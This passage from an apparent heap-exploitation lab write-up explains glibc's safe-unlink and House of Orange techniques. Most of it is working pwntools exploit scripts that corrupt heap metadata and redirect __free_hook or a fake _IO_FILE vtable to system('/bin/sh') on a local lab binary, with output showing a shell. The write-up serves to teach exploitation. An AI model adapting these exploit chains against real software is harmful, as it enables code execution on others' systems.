</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>Basically, the addresses we&rsquo;re writing to <a href="/writeups/heaplab/#org-coderef--04d0d8-1459">actually need to point to our chunk</a>, which severely limits our options.
But as it turns out, <kbd>unlink_chunk</kbd> can still be leveraged for an arbitrary write, but in a way that&rsquo;s very specific to our target binary.</p>
<h3 id="solve">Solve</h3>
<p>In our binary there exists a global variable <kbd>m_array</kbd> that has pointers to the chunks we&rsquo;re allocating on the heap.</p>
<p>We can craft a fake freed chunk A with <kbd>fd</kbd> and <kbd>bk</kbd> pointers that point to <kbd>m_array[0]</kbd>, which in turn points back to chunk A, thus passing the integrity checks.
As an additional complication we can&rsquo;t free chunk A as-is, but that&rsquo;s fine—we can create a smaller fake chunk within chunk A and use that.</p>
<p>This has the effect of clobbering <kbd>m_array[0].user_data</kbd> to point to itself; when we try to <kbd>edit</kbd> chunk A, we&rsquo;re actually editing <kbd>m_array[0]</kbd>.
From there we can overwrite <kbd>m_array[0].user_data</kbd> to point to <kbd>__free_hook</kbd>, and <kbd>edit</kbd> &ldquo;chunk A&rdquo; once more to write a one_gadget.</p>
<p>Or so I thought, but as it turns out I couldn&rsquo;t satisfy any of the conditions of the one_gadgets, even with <code>rdi</code>​/​<code>[rdi]</code> or <code>rax</code> control (by clobbering <kbd>m_chunk[1].user_data</kbd>).
But if we have an arbitrary write, we can just write <code>&quot;/bin/sh&quot;</code> at the start of our fake chunk and set <kbd>__free_hook</kbd> to <kbd>system</kbd>, nice and simple.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;safe_unlink&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xa0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x91</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>m_array<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>m_array<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x90</span>) <span style="color:#00d3d0">+</span> p64((<span style="color:#00bcff">0x90</span>) <span style="color:#00d3d0">&amp;</span> <span style="color:#00d3d0">~</span><span style="color:#00bcff">0b111</span>))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>) <span style="color:#a8a8a8"># trigger unlink of chunk A</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># m_array[0].user_data = &amp;m_array[0].user_data-0x18</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x18</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook <span style="color:#00d3d0">-</span> <span style="color:#f78fe7">len</span>(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># m_array[0].user_data = &amp;__free_hook-8</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>) <span style="color:#a8a8a8"># trigger __free_hook with address to &#34;/bin/sh&#34; as argument</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="house-of-orange">House of Orange</h2>
<p>Fast forward to 2016 when the <a href="https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html">House of Orange</a> technique was introduced at HITCON CTF Quals.
This attack is a bit convoluted as it relies on internals of <kbd>_IO_FILE</kbd> for a specific version of Glibc, but the technique has pedagogical value for learning FSOP and the unsortedbin attack.</p>
<p>The prescient bit of information is that we can write the head of the unsortedbin (the first bin in <kbd>main_arena.bins</kbd>) freelist to an arbitrary address, where <kbd>main_arena.bins[0] == &amp;tail_of_unsortedbin</kbd>.
There doesn&rsquo;t seem to be an immediately obvious utility aside from leaking a libc address, but we can sneakily replace a different linked list head in Glibc with the head of the unsortedbin linked list.</p>
<p>The big non-heap candidate here is <kbd>_IO_list_all</kbd>, which is a linked list of <kbd>_IO_FILE</kbd> structures for stdio (stdin/stdout/stderr).
In a similar vein to the malloc hooks, <kbd>_IO_FILE</kbd> (or technically <kbd>_IO_FILE_plus</kbd>) has a vtable pointer that could be clobbered, and just like malloc hooks, we can reliably trigger execution of one or more functions in this vtable (<kbd>_IO_flush_all_lockp</kbd> will traverse all the files in <kbd>_IO_list_all</kbd> and execute each <kbd>_IO_FILE</kbd>&rsquo;s <kbd>__overflow</kbd> method; we can trigger this by intentionally failing a heap corruption check, which will <kbd>abort</kbd> which eventually calls <kbd>_IO_flush_all_lockp</kbd>).</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_FILE {
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>                  _flags;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_read_ptr;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_read_end;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_read_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_write_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_write_ptr;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_write_end;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_buf_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_buf_end;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_save_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_backup_base;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>               _IO_save_end;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_marker <span style="color:#00d3d0">*</span> _markers;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_FILE <span style="color:#00d3d0">*</span>   _chain;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>                 _fileno;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>                 _flags2;
</span></span><span style="display:flex;"><span>  __off_t             _old_offset; <span style="color:#a8a8a8">// __off_t == long int
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>  <span style="color:#6ae4b9">unsigned</span> <span style="color:#6ae4b9">short</span>      _cur_column;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">signed</span> <span style="color:#6ae4b9">char</span>         _vtable_offset;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span>                _shortbuf[<span style="color:#00bcff">1</span>];
</span></span><span style="display:flex;"><span>  _IO_lock_t <span style="color:#00d3d0">*</span>        _lock;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_FILE_complete {
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_FILE _file;
</span></span><span style="display:flex;"><span>  __off64_t       _offset;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad1;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad2;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad3;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>          __pad4;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">size_t</span>          __pad5;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">int</span>             _mode;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">char</span>            _unused2[<span style="color:#00bcff">20</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_jump_t {
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">size_t</span>           __dummy;
</span></span><span style="display:flex;"><span>  <span style="color:#6ae4b9">size_t</span>           __dummy2;
</span></span><span style="display:flex;"><span>  <span style="color:#a8a8a8">/* these are all function pointers */</span>
</span></span><span style="display:flex;"><span>  _IO_finish_t     __finish;
</span></span><span style="display:flex;"><span>  _IO_overflow_t   __overflow;
</span></span><span style="display:flex;"><span>  _IO_underflow_t  __underflow;
</span></span><span style="display:flex;"><span>  _IO_underflow_t  __uflow;
</span></span><span style="display:flex;"><span>  _IO_pbackfail_t  __pbackfail;
</span></span><span style="display:flex;"><span>  _IO_xsputn_t     __xsputn;
</span></span><span style="display:flex;"><span>  _IO_xsgetn_t     __xsgetn;
</span></span><span style="display:flex;"><span>  _IO_seekoff_t    __seekoff;
</span></span><span style="display:flex;"><span>  _IO_seekpos_t    __seekpos;
</span></span><span style="display:flex;"><span>  _IO_setbuf_t     __setbuf;
</span></span><span style="display:flex;"><span>  _IO_sync_t       __sync;
</span></span><span style="display:flex;"><span>  _IO_doallocate_t __doallocate;
</span></span><span style="display:flex;"><span>  _IO_read_t       __read;
</span></span><span style="display:flex;"><span>  _IO_write_t      __write;
</span></span><span style="display:flex;"><span>  _IO_seek_t       __seek;
</span></span><span style="display:flex;"><span>  _IO_close_t      __close;
</span></span><span style="display:flex;"><span>  _IO_stat_t       __stat;
</span></span><span style="display:flex;"><span>  _IO_showmanyc_t  __showmanyc;
</span></span><span style="display:flex;"><span>  _IO_imbue_t      __imbue;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">struct</span> _IO_FILE_plus {
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">struct</span> _IO_FILE_complete  file;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">const</span> <span style="color:#b6a0ff">struct</span> _IO_jump_t <span style="color:#00d3d0">*</span> vtable;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<h3 id="solve">Solve</h3>
<p>There are three &ldquo;phases&rdquo; to our House of Orange attack (phases two and three happen at the same time but I think it&rsquo;s helpful to mentally separate them):</p>
<ol>
<li>Clobber top chunk&rsquo;s <kbd>size</kbd> field to a small page-aligned value and request a chunk larger than the top chunk can service.
This causes malloc to call <kbd>sbrk</kbd> for a new top chunk that can service the request, and the old top chunk is added to the unsortedbin freelist (it doesn&rsquo;t get extended/consolidated because the new top chunk is not contiguous with the old one).</li>
<li>Overwrite the old top chunk&rsquo;s <kbd>bk</kbd> pointer to 16 bytes before <kbd>_IO_list_all</kbd>; when we next request a chunk, <kbd>_IO_list_all</kbd> will be clobbered with <kbd>main_arena.bins[0]-0x10</kbd> (aka the head of the unsortedbin freelist).</li>
<li>In addition to overwriting the old top chunk&rsquo;s <kbd>bk</kbd> pointer, also construct a fake <kbd>_IO_FILE_plus</kbd> (and stuff in a <kbd>_IO_jump_t</kbd> somewhere) that coincides with the old top chunk.
There will be a few very basic checks against our fake <kbd>_IO_FILE_plus</kbd>, so be sure to pass those.
This has the secondary effect of corrupting the heap, which will call <kbd>(fake_filep-&gt;vtable.__overflow)(&amp;fake_filep, -1)</kbd>; because <kbd>fake_filep-&gt;vtable.__overflow</kbd> is set to <kbd>system</kbd> and <kbd>flags</kbd> is set to <code>&quot;/bin/sh&quot;</code> (<kbd>flags</kbd> is the first member of <kbd>_IO_FILE</kbd>, so <kbd>&amp;fake_filep == &amp;fake_filep.flags</kbd>), this calls <kbd>system(&quot;/bin/sh&quot;)</kbd>.</li>
</ol>
<!--listend-->





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_orange&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> size <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0x18</span>:
</span></span><span style="display:flex;"><span>        proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">elif</span> size <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0xfc0</span>:
</span></span><span style="display:flex;"><span>        proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;size must be 0xfc0 (large) or 0x18 (small)&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(data):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> <span style="color:#f78fe7">len</span>(data) <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0xf0</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;data cannot be larger than 0xf0 bytes&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>fake_vtable <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0xcafebabe</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system),
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>fake_filep <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>, <span style="color:#a8a8a8"># _flags / old_top_chunk.prev_size</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0x60</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>), <span style="color:#a8a8a8"># _IO_read_ptr / old_top_chunk.size</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>_IO_list_all<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>), <span style="color:#a8a8a8"># old_top_chunk.bk</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">1</span>), <span style="color:#a8a8a8"># _IO_write_base</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">2</span>), <span style="color:#a8a8a8"># _IO_write_ptr</span>
</span></span><span style="display:flex;"><span>    fake_vtable,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0xc0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x30</span><span style="color:#00d3d0">-</span><span style="color:#f78fe7">len</span>(fake_vtable)),
</span></span><span style="display:flex;"><span>    p32(<span style="color:#00bcff">0</span>), <span style="color:#a8a8a8"># _mode</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">20</span>,
</span></span><span style="display:flex;"><span>    p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x20</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x30</span>), <span style="color:#a8a8a8"># vtable</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># phase 1: turn top chunk into a small chunk and add it to the unsortedbin</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x18</span> <span style="color:#00d3d0">+</span> p64((<span style="color:#00bcff">0x1000</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b001</span>)) <span style="color:#a8a8a8"># clobber top chunk&#39;s size</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xfc0</span>) <span style="color:#a8a8a8"># allocate a chunk large enough to brk a new top chunk and free the old one</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [old_top_chunk, size: 0xfc0, fd: &amp;main_arena.bins[0], bk: &amp;main_arena.bins[0]]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># phase 3: fake _IO_FILE_plus with malicious vtable</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x10</span> <span style="color:#00d3d0">+</span> fake_filep)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [old_top_chunk, size: 0x18, fd: NULL, bk: &amp;main_arena-0x10]</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># phase 2: unsortedbin attack to clobber _IO_list_all to point to fake _IO_FILE_plus</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># serviced from the unsortedbin, results in old_top_chunk.bk-&gt;fd = &amp;old_top_chunk</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









